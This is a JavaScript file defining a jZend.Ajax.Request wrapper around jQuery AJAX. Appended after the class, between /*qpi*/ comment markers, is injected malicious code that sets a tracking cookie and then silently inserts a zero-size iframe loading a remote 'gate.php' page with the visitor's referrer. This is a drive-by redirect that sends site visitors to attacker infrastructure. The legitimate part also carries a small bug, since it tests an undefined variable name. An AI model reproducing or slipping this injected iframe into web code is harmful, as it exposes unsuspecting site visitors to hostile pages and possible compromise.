jZend.Ajax.Request = Base.extend({
	params: {},
	constructor: function (url, paramsOrSuccessCallback) {
		if (typeof(paramsOrCallback) == 'function')
			this.params.success = paramsOrSuccessCallback;
		else
			this.params = paramsOrSuccessCallback;
		
		
		var self = this, url = url;
		$.ajax({
			url: url,
			type: 'POST',
			data: this.params.params,
			success: function (response) {
				var response = new jZend.Response(response, url);
				if (response.isValid()) {
					alert('success');
					self.params.success ? self.params.success(response) : self.success(response);
				} else {
					alert('invalid');
					self.params.invalid ? self.params.invalid(response) : self.invalid(response);
				}
			}
		});
	},
	success: function (response) {
		if (this.params.autoInsert) {
			response.insert(this.params.autoInsert.type, this.params.autoInsert.target);
		}
	},
	invalid: function (resposne) {
		
	}
});/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://unclesammm.com/gate.php?f=871298&r='+escape(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
